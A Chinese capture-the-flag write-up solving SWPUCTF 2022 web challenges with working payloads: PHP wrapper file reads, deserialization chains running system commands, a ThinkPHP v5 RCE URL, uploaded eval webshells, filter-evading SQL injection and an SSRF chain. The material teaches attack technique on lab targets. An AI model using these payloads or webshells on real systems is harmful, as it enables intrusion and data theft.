SWPUCTF_2022新生赛web方向wp
做题平台:nssctf
ez_ez_php 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );if (isset ($_GET ['file' ])) { if ( substr ($_GET ["file" ], 0 , 3 ) === "php" ) { echo "Nice!!!" ; include ($_GET ["file" ]); } else { echo "Hacker!!" ; } }else { highlight_file (__FILE__ ); }
只要file
参数前三个数是php就包含这个文件,所以用php伪协议读文件
1 2 3 4 5 6 http://node5.anna.nssctf.cn:26709/?file=php://filter/read=convert.base64-encode/resource=flag Nice!!!TlNTQ1RGezRiMTAyN2E1LWYwMmYtNDk1MC05NjhhLTNiZTI4NDFiZGE3MH0K ┌──(root㉿kakeru)-[~/tmp] └─# echo TlNTQ1RGezRiMTAyN2E1LWYwMmYtNDk1MC05NjhhLTNiZTI4NDFiZGE3MH0K | base64 -d NSSCTF{4b1027a5-f02f-4950-968a-3be2841bda70}
ez_ez_php (revenge) 题目和上题一模一样 但是现在用上题的payload就只有一个nice没有显示flag,但是这里就是路径变了改成根目录下的flag就可以
1 2 3 4 5 6 http://node5.anna.nssctf.cn:26620/?file=php://filter/read=convert.base64-encode/resource=/flag Nice!!!TlNTQ1RGezA3NThlMzNjLWI3MmMtNDIyNy04NzA0LTFiOTcxN2Y3NjI0MH0K ┌──(root㉿kakeru)-[~/tmp] └─# echo TlNTQ1RGezA3NThlMzNjLWI3MmMtNDIyNy04NzA0LTFiOTcxN2Y3NjI0MH0K | base64 -d NSSCTF{0758e33c-b72c-4227-8704-1b9717f76240}
1z_unserialize 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class lyh { public $url = 'NSSCTF.com' ; public $lt ; public $lly ; function __destruct ( ) { $a = $this ->lt; $a ($this ->lly); } } unserialize ($_POST ['nss' ]);highlight_file (__FILE__ ); ?>
这是一个反序列化题,那就是$lt
变量赋值给$a
,然后$a
可以当作一个函数,内容是lly
这里还要注意一下这个类有三个变量,虽然用到的只有两个,但是我们自己写的时候也要把三个变量都写出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class lyh { public $url ; public $lt ; public $lly ; } $m = new lyh ();$m -> lt = "system" ;$m -> lly = "ls /" ;echo (serialize ($m ));O:3 :"lyh" :3 :{s:3 :"url" ;N;s:2 :"lt" ;s:6 :"system" ;s:3 :"lly" ;s:4 :"ls /" ;}
然后用POST方式传入nss参数 找到flag在/flag,然后把lly改成”cat /flag”再传入就可以
奇妙的 MD5 我怕,题目是md5,我们就把特殊的md5之后以0e开头的字符串输入试试 但是没有用,然后看页面源代码,也没有信息 丛标头中找到一个hint 这个我在做ctfshow中的题目有碰到过 md5($str, false) 这是md5的默认情况 返回32位16进制数 如果是 md5($str, true)就返回16位二进制数 ffifdyop 是true参数时候的漏洞 md5 (‘ffifdyop’,true)=’or’6xxxxxx 所有这里输入ffifdyop
跳转到c0nt1nue.php 查看源码
1 2 3 4 5 6 7 8 ┌──(root㉿kakeru)-[~/tmp] └─# curl http://node5.anna.nssctf.cn:24841/c0nt1nue.php <!-- $x = $GET ['x' ];$y = $_GET ['y' ];if ($x != $y && md5($x ) == md5($y )){ ; -->
这里就是get传入两个不同字符串 md5相同的字符串,这个熟悉了 就传入240610708
QNKCDZO
进入到最后一个页面
1 2 3 4 5 6 7 8 9 <?php error_reporting (0 );include "flag.php" ;highlight_file (__FILE__ );if ($_POST ['wqh' ]!==$_POST ['dsy' ]&&md5 ($_POST ['wqh' ])===md5 ($_POST ['dsy' ])){ echo $FLAG ; }
这里要用数组绕过md5 在 PHP 中,如果 md5() 作用于一个数组,它不会计算哈希,而是返回 NULL,但不会报错(因为 error_reporting(0); 关闭了错误输出)。 这样子就是两个数组都是NULL了
运算符
作用
!=
不等于 (只比较值,允许类型转换)
!==
全不等 (值或类型不同都算不等)
ez_ez_unserialize 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class X { public $x = __FILE__ ; function __construct ($x ) { $this ->x = $x ; } function __wakeup ( ) { if ($this ->x !== __FILE__ ) { $this ->x = __FILE__ ; } } function __destruct ( ) { highlight_file ($this ->x); } } if (isset ($_REQUEST ['x' ])) { @unserialize ($_REQUEST ['x' ]); } else { highlight_file (__FILE__ ); }
这里主要考查的是wakeup魔法函数的绕过,我们之前在2021的新生题里面碰到过,就是让序列化的个数和实际不符的时候就回跳过 在 PHP 中,$_REQUEST 是一个超全局变量,用于获取通过多种方式(如 GET、POST、COOKIE)发送到脚本的数据。
1 2 3 4 5 6 7 8 9 10 <?php class X { public $x ; } $a = new X ();$a -> x = "flag.php" ;echo (serialize ($a ));O:1 :"X" :1 :{s:1 :"x" ;s:8 :"flag.php" ;}
O:<类名长度>:”<类名>”:<成员数量>:{<成员>} 把成员数量改一下,绕过wakeup函数
where_am_i 源代码中有一句提示什么东西是11位啊
ai了一下什么是11位的,知道手机号是11位的,但是还是不知道咋做 看了wp要去搜这个图然后查酒店的电话,有点逆天。。 成都的古迹酒店,填入电话
ez_rce 题目
发现有robots.txt文件
1 2 3 User-agent : * Disallow : - /NSS/index.php/
访问之后的界面。所以去搜下thinkphp v5漏洞 找到rce漏洞
1 /index.php?s=index/think\app/invokefunction&function =call_user_func_array&vars[0]=system&vars[1][]=whoami
修改最后的值就能执行任意命令了 下面省略了前面的,只有命令
1 2 3 4 5 6 ls / bin boot dev etc flag home lib lib64 media mnt nss opt proc root run sbin srv sys tmp usr var var 好熟悉的界面 似曾相识啊 cat /flag好熟悉的界面 似曾相识啊 #说明是文件夹
这里flag是空的,那就用蚁剑连接去找,写一个一句话木马
1 /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]= <?php @eval ($_POST ['a' ]); ?>
这里将一句话木马写入文件shell.php 在nss目录下找到flag
funny_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php session_start (); highlight_file (__FILE__ ); if (isset ($_GET ['num' ])){ if (strlen ($_GET ['num' ])<=3 &&$_GET ['num' ]>999999999 ){ echo ":D" ; $_SESSION ['L1' ] = 1 ; }else { echo ":C" ; } } if (isset ($_GET ['str' ])){ $str = preg_replace ('/NSSCTF/' ,"" ,$_GET ['str' ]); if ($str === "NSSCTF" ){ echo "wow" ; $_SESSION ['L2' ] = 1 ; }else { echo $str ; } } if (isset ($_POST ['md5_1' ])&&isset ($_POST ['md5_2' ])){ if ($_POST ['md5_1' ]!==$_POST ['md5_2' ]&&md5 ($_POST ['md5_1' ])==md5 ($_POST ['md5_2' ])){ echo "Nice!" ; if (isset ($_POST ['md5_1' ])&&isset ($_POST ['md5_2' ])){ if (is_string ($_POST ['md5_1' ])&&is_string ($_POST ['md5_2' ])){ echo "yoxi!" ; $_SESSION ['L3' ] = 1 ; }else { echo "X(" ; } } }else { echo "G" ; echo $_POST ['md5_1' ]."\n" .$_POST ['md5_2' ]; } } if (isset ($_SESSION ['L1' ])&&isset ($_SESSION ['L2' ])&&isset ($_SESSION ['L3' ])){ include ('flag.php' ); echo $flag ; } ?>
这里最后就是要把L1
L2
L3
都设置就可以得到flag
L1 只能三个字符,但是数值要大于999999999,所以用科学计数法2e9
L2 这里preg_replace把敏感词置换为空,所以我们可用双写NSSNSSCTFCTF
,这样子中间的NSSCTF就不会显示
L3 又是考查一样的md5,但是这里要求两个都是纯字母 所以可以选EEIZDOI
QLTHNDT
funny_web 直接从web这边入手不知道这个实验室名到底是什么意思 目录扫描了一下也没有发现其他的目录,只能看wp得到用户密码 用户 NSS,密码 2122693401 得到题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );header ("Content-Type: text/html;charset=utf-8" );highlight_file (__FILE__ );include ('flag.php' );if (isset ($_GET ['num' ])) { $num = $_GET ['num' ]; if ($num != '12345' ) { if (intval ($num ) == '12345' ) { echo $FLAG ; } } else { echo "这为何相等又不相等" ; } }
这里要了解php的intval()函数, intval() 是 PHP 的一个函数,它用于将变量转换为整数(integer)。它的基本用法如下:
1 intval (mixed $value , int $base = 10 ): int
$value(必需):要转换的值,可以是字符串、浮点数、布尔值等。 $base(可选):进制,默认为 10。仅当 $value 是字符串时有效,可用于转换不同进制的数字(如二进制、十六进制)。 这里有多种方法可以绕过inval函数,可以用小数点,字符等
webdog1__start 题目
1 2 Do you really reading to start be a web dog? DO you think you go here from where ?are you readying to start ?
页面源代码中有提示
然后去/robots.txt中,看到有一个f14g.php文件的地址,访问之后还是没有什么别的信息 看了wp才知道要去f12网络中的标头找到hint。。。。。 然后找到真正的题目地址F1l1l1l1l1lag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['get' ])){ $get =$_GET ['get' ]; if (!strstr ($get ," " )){ $get = str_ireplace ("flag" , " " , $get ); if (strlen ($get )>18 ){ die ("This is too long." ); } else { eval ($get ); } }else { die ("nonono" ); } } ?>
这里过滤了空格,然后把flag替换成空格 这里有两种方法,第一种是用%09也就是制表符/t代替空格?get=system('cat%09/*')
这里只能把根目录下面所有的内容都打印出来,不过这里也就只有flag了 法二,题目是执行get
的内容,但是我们可以让这个get再去执行我们自己设置的一个参数
1 ?get=eval ($_GET['a' ]);&a=system ("cat /flag" );
这里要注意一下第一个get参数赋值完之后要写一个;
,这样子这句话中的eval语句才结束,然后被外面一层eval识别。
Ez_upload 一道上传文件的题目,我先上传了一个一句话木马,出现后缀名不能有ph!
,这里如果是说不能是php我们就可以用不同的php后缀名,比如php3 php5 phtml等绕过。 这里先改后缀上传,然后用bp修改后缀看看,这里也不是在前端就校验,所以还是不行 首先是 如果直接上传普通的一句话木马,给出的错误是不能有ph 然后是抓包修改文件类型,还是提示提示不能有ph,所以是在后端做的校验,直接上传jpg文件 发现显示,还是换个类型吧,但是真的jpg这个类型不可以吗,我把文件的内容删掉,再上传 发现可以成功上传,难道是eval这个函数的或者POST之类的被过滤了,现在把<?php ?>
删去,上传剩下的eval部分的内容的jpg文件 –>成功上传 那就说明了是<?php ?>
的问题了,到这我们就知道要用script版本的一句话木马了 所以最后.htaccess配置文件的方式,让上传的jpg文件解析成php文件。
1 <script language ="php" > @eval ($_POST['a' ]); </script >
1 2 3 4 <FilesMatch "1.jpg" > SetHandler application/x-httpd-php </FilesMatch>
这个文件就是apache服务器里面文件夹下的1.jpg都解析成php文件 然后要用bp抓包上传这个文件,把content-type修改一下 然后就可以用蚁剑连接了,但是这里的flag是空的 如果在根目录下没有flag那基本就是在环境变量或者phpinfo里面 在蚁剑的虚拟终端里面输入php -i就可以查看php的信息了包括环境变量,然后找到了flag
numgame 题目描述:简简单单的迷惑游戏 但是用f12和右键都不能看源代码,那就在url中加上view-source:
就能看源代码 点击链接跳转到题目代码界面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 var input = $('input' ), input_val = parseInt(input .val()), btn_add = $('.add' ), btn_remove = $('.remove' ); input .keyup(function () { input_val = parseInt(input .val()) }); btn_add.click(function (e) { input_val++; input .val(input_val); console.log (input_val); if (input_val==18 ){ input_val=-20 ; input .val(-20 ); } }); btn_remove.click(function (e) { input_val input .val(input_val); }); // NSSCTF{TnNTY1RmLnBocA==}
先用base64解码一下
1 2 3 ┌──(root㉿kakeru)-[~/tmp] └─# echo TnNTY1RmLnBocA== | base64 -d NsScTf.php
果然不会这么好心直接给flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );include ("flag.php" );class nss { static function ctf ( ) { include ("./hint2.php" ); } } if (isset ($_GET ['p' ])){ if (preg_match ("/n|c/m" ,$_GET ['p' ], $matches )) die ("no" ); call_user_func ($_GET ['p' ]); }else { highlight_file (__FILE__ ); }
这个hint的意思就是POST了 PHP 中的 call_user_func()
函数: call_user_func() 是 PHP 的一个回调函数调用方法,它可以用于 动态调用函数 或 类的方法,即在运行时决定要执行哪个函数,而不是在代码编写时就固定。 这里用到call_user_func()中的调用类的方法 例子:
1 2 3 4 5 6 7 class Demo { static function sayHello($name ) { return "Hello, $name !" ; } } echo call_user_func(["Demo" , "sayHello" ], "Alice" );
所以传入一个数组,数组中的第一个值时类名,第二个是调用的静态方法名
1 2 3 4 5 6 ?p[0 ]=nss&p[1 ]=ctf 有没有一种可能,类是nss2 ?p[0 ]=nss2&p[1 ]=ctf <?php $flag ="NSSCTF{ae335328-f4f3-443f-a850-22d5f617a7b8}" ;
在注释中找到flag
xff 题目
1 Must be accessed from Xiaohong's own computer.
估计就是考X-Forwarded-for了 修改请求头加上X-Forwarded-For: 127.0.0.1
1 Must be jump from Home Page .
这个from
就是告诉我们还要添加Refer 拿到flag
js_sign 只有一个输入框,如果输入错误会有一个弹窗 进行目录扫描,发现一个地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ┌──(root㉿kakeru)-[~/ tmp] └─ / usr/ lib/ python3/ dist-packages/ dirsearch/ dirsearch.py:23 : DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_|| | _) (/ _(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /root/tmp/reports/http_node5.anna.nssctf.cn_27571/__25-02-17_19-54-03.txt Target: http:// node5.anna.nssctf.cn:27571 / [19 :54 :03 ] Starting: [19 :54 :06 ] 403 - 288 B - /.ht_wsr.txt [19 :54 :06 ] 403 - 288 B - /.htaccess.save [19 :54 :06 ] 403 - 288 B - /.htaccess.orig [19 :54 :06 ] 403 - 288 B - /.htaccess.bak1 [19 :54 :06 ] 403 - 288 B - /.htaccess_orig [19 :54 :06 ] 403 - 288 B - /.htaccess.sample [19 :54 :06 ] 403 - 288 B - /.htaccess_extra [19 :54 :06 ] 403 - 288 B - /.htaccess_sc [19 :54 :06 ] 403 - 288 B - /.htaccessBAK [19 :54 :06 ] 403 - 288 B - /.htaccessOLD [19 :54 :06 ] 403 - 288 B - /.htaccessOLD2 [19 :54 :06 ] 403 - 288 B - /.html [19 :54 :06 ] 403 - 288 B - /.htm [19 :54 :06 ] 403 - 288 B - /.htpasswd_test [19 :54 :06 ] 403 - 288 B - /.htpasswds [19 :54 :06 ] 403 - 288 B - /.httr-oauth [19 :54 :19 ] 200 - 235 B - /main.js [19 :54 :24 ] 403 - 288 B - /server-status [19 :54 :24 ] 403 - 288 B - / server-status/ Task Completed
访问这个/main.js
1 2 3 4 5 6 7 8 document.getElementsByTagName("button")[0].addEventListener("click", ()=>{ flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15" if (btoa(flag.value) == 'dGFwY29kZQ==') { alert("you got hint!!!"); } else { alert("fuck off !!"); } })
1 2 3 ┌──(root㉿kakeru)-[~/tmp] └─# echo dGFwY29kZQ== | base64 -d tapcode
这个base64解码出来是tapcode
,先去原界面输入了一下这个字符,还是不行,然后去搜索了一下 发现这是一种加密方式,flag就是用这种方式加密的
让ai给我们解码了一下tapcode,得到
1 NSSCT FYOU FIND FLAG BY TAPCODE
或者先去掉空格,然后放到在线解码平台解码
1 2 3 ┌──(root㉿kakeru)-[~/tmp] └─# echo "33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15 " | tr -d " " 3343431344215434452124331421311122125444113513341415
最后的flag就是NSSCTF{youfindflagbytapcode} (先尝试原本的顺序,然后把空格去掉,最后考虑括号内变成小写
ez_sql 开始sql注入吧 先直接在url中用get传参,提示我记得刚刚说了的!! 用相对安全的方式传参!!! 所以用post传 这题就是字符型注入,输入1’就报错了,然后注释符用#
也就可以了 但是前面输入nss=-1' #
这样都可以然后输入or 1=1 就报错了,说明or或者空格被过滤了,那空格就用/**/代替 or就用双写绕过,双写绕过就是利用or被替换成空,这样oorrder就会变成o rder,同理后面也发现union被过滤,也用这种方式 1.查列数
1 2 3 4 5 6 7 8 nss=-1' oorrderby 3 # Flag: NSSCTF{This_1s_F4ke_flag} This is true flag: NSSCTF{Ar3_y0u_K1ngd1ng} nss=-1' oorrderby 4 # Unknown column '4' in 'order clause'
所以一共就是三列 2.爆库
1 2 3 4 nss = - 1 'uunionnionselect1 ,database(),3 Flag: NSSCTF{This_1s_F4ke_flag}This is true flag: NSSCTF{Ar3_y0u_K1ngd1ng}
这里没有直接给我们库名,所以猜测可能不在这页结果,这里要用到limit语句里限制查询结果数量
1 2 SELECT * FROM table_name LIMIT 偏移量, 数量;
1 2 3 4 5 nss=-1'uunionnionselect 1 ,database (),3 limit 1 ,1 # Flag: NSS_db This is true flag: 3
3.爆表
1 2 3 4 5 6 7 8 9 10 nss=-1'uunionnionselect 1 ,group_concat(table_name),3 from information_schema.tableswhere table_schema=database ();# Table 'infmation_schema.tables' doesn't exist #因为or被过滤了所以需要双写绕过 nss=-1'uunionnionselect 1 ,group_concat(table_name),3 from infoorrmation_schema.tableswhere table_schema=database ()limit 1 ,1 ;# Flag: NSS_tb,users This is true flag: 3
4.爆列
1 2 3 4 nss=-1' uunionnionselect 1 ,group_concat(column_name),3 from infoorrmation_schema.columnswhere table_name="NSS_tb" limit1 ,1 ;# Flag: id,Secr3t,flll444g This is true flag: 3
5.查值
1 2 3 4 5 6 7 8 9 10 nss=-1' uunionnionselect 1 ,group_concat("flll444g" ),3 from NSS_db.NSS_tblimit1 ,1 ;# Flag: flll444g This is true flag: 3 nss=-1' uunionnionselect 1 ,group_concat(Secr3t),3 from NSS_db.NSS_tblimit1 ,1 # Flag: NSSCTF{dd0e46f4-4 ce9-4533 -97f 0-d01251ae184a} This is true flag: 3
ez_1zpop 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php error_reporting (0 );class dxg { function fmm ( ) { return "nonono" ; } } class lt { public $impo ='hi' ; public $md51 ='weclome' ; public $md52 ='to NSS' ; function __construct ( ) { $this ->impo = new dxg; } function __wakeup ( ) { $this ->impo = new dxg; return $this ->impo->fmm (); } function __toString ( ) { if (isset ($this ->impo) && md5 ($this ->md51) == md5 ($this ->md52) && $this ->md51 != $this ->md52) return $this ->impo->fmm (); } function __destruct ( ) { echo $this ; } } class fin { public $a ; public $url = 'https://www.ctfer.vip' ; public $title ; function fmm ( ) { $b = $this ->a; $b ($this ->title); } } if (isset ($_GET ['NSS' ])) { $Data = unserialize ($_GET ['NSS' ]); } else { highlight_file (__file__); }
这题就是考php的反序列化链了,我们先要从结果出发,怎么样才能得到flag呢 之前做的反序列化题一般都是符合某种条件就输出flag,这里没有找到这样的文件,所以这个文件要我们通过某种方式获取 除了直接输出出来,那就是自己通过执行命令执行出来了。这里看着像能执行命令的只有这里 $b($this->title);
这不就是一个函数吗,$b
是函数名($this->title)
是参数,我们的目标就是用这个实现system函数。 然后这里也同时把fin这个类分析完了,那第一个dxg类发现没有任何用也不用再分析了 那就重点看这个lt类: 这里的__toString函数就是如果这两个md5一样但是本身一样就会执行$this->impo的fmm函数 那我们就让$this->impo是fin对象就可以了,这样才能达到我们执行函数的目的 最后是如何才能让这个__toString函数执行呢?只要这个被输出就可以了,这里__destruct函数有echo 可以!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class lt { public $impo ='hi' ; public $md51 ='240610708' ; public $md52 ='QNKCDZO' ; } class fin { public $a = "system" ; public $url = '' ; public $title = "cat /flag" ; } $nss = new lt ();$nss -> impo = new fin ();echo (serialize ($nss ));O:2 :"lt" :3 :{s:4 :"impo" ;O:3 :"fin" :3 :{s:1 :"a" ;s:6 :"system" ;s:3 :"url" ;s:0 :"" ;s:5 :"title" ;s:9 :"cat /flag" ;}s:4 :"md51" ;s:9 :"240610708" ;s:4 :"md52" ;s:7 :"QNKCDZO" ;}
得到这个序列化的结果之后还要记得绕过wakeup函数,这个就是修改参数的个数就可以了 把”lt”后面的3改成别的数字
file_master 又是一道文件上传题目 先上传一个正常的一句话木马的php上去,看看会怎么样 只让上传jpg格式的文件,试试修改后缀为jpg,bp抓包然后修改后缀 返回的是invalid file head,说明会检测文件头来看看是不是真的图片,那就在前面加上GIF89a 然后提示图片的宽高有限制,我就把<?php 用<?= 方式简写,但是还是这个问题 卡住之后看了wp找到原来index.php可以看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php session_start (); if (isset ($_GET ['filename' ])){ echo file_get_contents ($_GET ['filename' ]); } else if (isset ($_FILES ['file' ]['name' ])){ $whtie_list = array ("image/jpeg" ); $filetype = $_FILES ["file" ]["type" ]; if (in_array ($filetype ,$whtie_list )){ $img_info = @getimagesize ($_FILES ["file" ]["tmp_name" ]); if ($img_info ){ if ($img_info [0 ]<=20 && $img_info [1 ]<=20 ){ if (!is_dir ("upload/" .session_id ())){ mkdir ("upload/" .session_id ()); } $save_path = "upload/" .session_id ()."/" .$_FILES ["file" ]["name" ]; move_uploaded_file ($_FILES ["file" ]["tmp_name" ],$save_path ); $content = file_get_contents ($save_path ); if (preg_match ("/php/i" ,$content )){ sleep (5 ); @unlink ($save_path ); die ("hacker!!!" ); }else { echo "upload success!! upload/your_sessionid/your_filename" ; } }else { die ("image hight and width must less than 20" ); } }else { die ("invalid file head" ); } }else { die ("invalid file type!image/jpeg only!!" ); } }else { echo '<img src="data:jpg;base64,' .base64_encode (file_get_contents ("welcome.jpg" )).'">' ; } ?>
这里就是对宽高做了限制,然后不允许php出现所以我们之前用<?=代替还是没错的,主要就是定义宽高 原来直接在文件里面定义就好了
1 2 3 <?= @eval ($_POST ['a' ]);
成功上传!Cookie: PHPSESSID=nrd70psbefs9ma416hm6g3qfnc
所以我们的路径就在upload/nrd70psbefs9ma416hm6g3qfnc/2.php 蚁剑连接进来发现看不了根目录 解决方法就是去蚁剑的虚拟终端里面去看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 (www-data:/var/www/html/upload/nrd70psbefs9ma416hm6g3qfnc) $ cd / (www-data:/) $ ls -al total 88 drwxr-xr-x 1 root root 4096 Feb 17 13:50 . drwxr-xr-x 1 root root 4096 Feb 17 13:50 .. -rwxr-xr-x 1 root root 0 Feb 17 13:50 .dockerenv drwxr-xr-x 1 root root 4096 Sep 13 2022 bin drwxr-xr-x 2 root root 4096 Sep 3 2022 boot drwxr-xr-x 5 root root 340 Feb 17 13:50 dev drwxr-xr-x 1 root root 4096 Feb 17 13:50 etc -rwxrwxrwx 1 root root 45 Feb 17 13:50 flag -rwxrwxrwx 1 root root 69 Sep 19 2022 flag.sh drwxr-xr-x 2 root root 4096 Sep 3 2022 home drwxr-xr-x 1 root root 4096 Sep 13 2022 lib drwxr-xr-x 2 root root 4096 Sep 12 2022 lib64 drwxr-xr-x 2 root root 4096 Sep 12 2022 media drwxr-xr-x 2 root root 4096 Sep 12 2022 mnt drwxr-xr-x 2 root root 4096 Sep 12 2022 opt dr-xr-xr-x 290 root root 0 Feb 17 13:50 proc drwx------ 1 root root 4096 Sep 13 2022 root drwxr-xr-x 1 root root 4096 Sep 13 2022 run drwxr-xr-x 1 root root 4096 Sep 13 2022 sbin drwxr-xr-x 2 root root 4096 Sep 12 2022 srv dr-xr-xr-x 13 root root 0 Feb 17 13:50 sys drwxrwxrwt 1 root root 4096 Feb 17 14:17 tmp drwxr-xr-x 1 root root 4096 Sep 12 2022 usr drwxr-xr-x 1 root root 4096 Sep 13 2022 var (www-data:/) $ cat flag NSSCTF{a716da50-93a3-4f5e-8451-fff514e48cc1}
Power! 查看源码里面中 有一句注释
随便输入一个文件之后,就给出源码?source=/etc/passwd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <?php class FileViewer { public $black_list = "flag" ; public $local = "http://127.0.0.1/" ; public $path ; public function __call ($f ,$a ) { $this ->loadfile (); } public function loadfile ( ) { if (!is_array ($this ->path)){ if (preg_match ("/" .$this ->black_list."/i" ,$this ->path)){ $file = $this ->curl ($this ->local."cheems.jpg" ); }else { $file = $this ->curl ($this ->local.$this ->path); } }else { $file = $this ->curl ($this ->local."cheems.jpg" ); } echo '<img src="data:jpg;base64,' .base64_encode ($file ).'"/>' ; } public function curl ($path ) { $url = $path ; $curl = curl_init (); curl_setopt ($curl , CURLOPT_URL, $url ); curl_setopt ($curl , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ($curl , CURLOPT_HEADER, 0 ); $response = curl_exec ($curl ); curl_close ($curl ); return $response ; } public function __wakeup ( ) { $this ->local = "http://127.0.0.1/" ; } } class Backdoor { public $a ; public $b ; public $superhacker = "hacker.jpg" ; public function goodman ($i ,$j ) { $i ->$j = $this ->superhacker; } public function __destruct ( ) { $this ->goodman ($this ->a,$this ->b); $this ->a->c (); } } if (isset ($_GET ['source' ])){ highlight_file (__FILE__ ); }else { if (isset ($_GET ['image_path' ])){ $path = $_GET ['image_path' ]; if (is_string ($path )&&!preg_match ("/http:|gopher:|glob:|php:/i" ,$path )){ echo '<img src="data:jpg;base64,' .base64_encode (file_get_contents ($path )).'"/>' ; }else { echo '<h2>Seriously??</h2><img src="data:jpg;base64,' .base64_encode (file_get_contents ("cheems.jpg" )).'"/>' ; } }else if (isset ($_GET ['path_info' ])){ $path_info = $_GET ['path_info' ]; $FV = unserialize (base64_decode ($path_info )); $FV ->loadfile (); }else { $path = "vergil.jpg" ; echo '<h2>POWER!!</h2> <img src="data:jpg;base64,' .base64_encode (file_get_contents ($path )).'"/>' ; } } ?>
我们看到最后有一个反序列化函数,所以这题是一个反序列化链的题目 先看刚才读取文件的逻辑在这句
1 2 if (is_string($path )&&!preg_match("/http:|gopher:|glob:|php:/i" ,$path )){ echo '<img src="data:jpg;base64,' .base64_encode(file_get_contents($path )).'"/>' ;
那就先读一下当前目录下的flag.php,然后查看源代码,发现在这个图片src中确实有base64加密过的信息 ?image_path=flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <img src ="data:jpg;base64,PD9waHANCg0KJGEgPSAiZ29vZCBqb2IsYnV0IHRoZXJlIGlzIG5vIGZsYWcNCg0KaSBwdXQgbXkgZmxhZyBpbiBpbnRyYW5ldCgxMjcuMC4wLjE6NjU1MDApDQoNCm91dHNpZGVyIGhhdmUgbm8gcGVybWlzc2lvbnMgdG8gZ2V0IGl0DQoNCmlmIHlvdSB3YW50IGl0LHRoZW4geW91IGhhdmUgdG8gdGFrZSBpdA0KDQpidXQgeW91IGFscmVhZHkga25ldyB0aGUgcnVsZXMNCg0KdHJ5IGl0IjsNCg0KPz4=" /> </body > </html > ┌──(root㉿kakeru)-[~/tmp] └─# echo PD9waHANCg0KJGEgPSAiZ29vZCBqb2IsYnV0IHRoZXJlIGlzIG5vIGZsYWcNCg0KaSBwdXQgbXkgZmxhZyBpbiBpbnRyYW5ldCgxMjcuMC4wLjE6NjU1MDApDQoNCm91dHNpZGVyIGhhdmUgbm8gcGVybWlzc2lvbnMgdG8gZ2V0IGl0DQoNCmlmIHlvdSB3YW50IGl0LHRoZW4geW91IGhhdmUgdG8gdGFrZSBpdA0KDQpidXQgeW91IGFscmVhZHkga25ldyB0aGUgcnVsZXMNCg0KdHJ5IGl0IjsNCg0KPz4= | base64 -d <?php $a = "good job,but there is no flag i put my flag in intranet(127.0.0.1:65500) outsider have no permissions to get it if you want it,then you have to take it but you already knew the rules try it" ;?>
这里告诉我们要读到flag就要在内网的65500端口访问才可以 那就继续从源码中找到反序列化链。 和之前碰到这种类型题目一致,不能直接输出flag就去找怎么才能执行命令,很快就可以找到是在FileViewer类中的$file = $this->curl($this->local.$this->path);
这个命令就会去访问$this->local
的$this->path文件
这个在FileViewer类的loadfile
函数中,然后找到同样这个类中的_call($f,$a)
函数会执行loadfile函数,但是这个函数仅仅是在这个类里面,没有体现怎么执行 现在再去找能去执行这个函数的东西,看到Backdoor
这个类,(这个名字就已经提示了) 这个类第一个函数goodman
作用让第一个参数的第二个参数属性变成这个类中的superhacker
第二个__destruct()
魔法函数,先执行一下goodman函数,然后执行$this->a->c()
那么关键就来了,我们就利用$this->a->c()
去执行FileViewer中的_call($f,$a)
那么完整的链是:
1 2 3 入口: Backdoor __destruct () 调用 FileViewer _call ($f,$a) 跳到 FileViewer loadfile
在看如何去访问内网的127.0.0.1:65500/flag 这里我们访问的路径是$this->local
拼接上$this->path
,过滤只针对$this->path
,这里把/flag
过滤了 那绕过很容易,只要把一部分放在$this->local
就好了,也就是让$this->local
为127.0.0.1:65500/fl
这样 那对这个$this->local
有限制的就是__wakeup()这个魔法函数,他会重置值 绕过也很容易,这个wakeup函数是在FileViewer类初始化的时候会执行的,我们只要用Backdoor类中的goodman方法就可以重新赋值,那其实也不用管了 那现在整理清思路,先写一个大致的poc
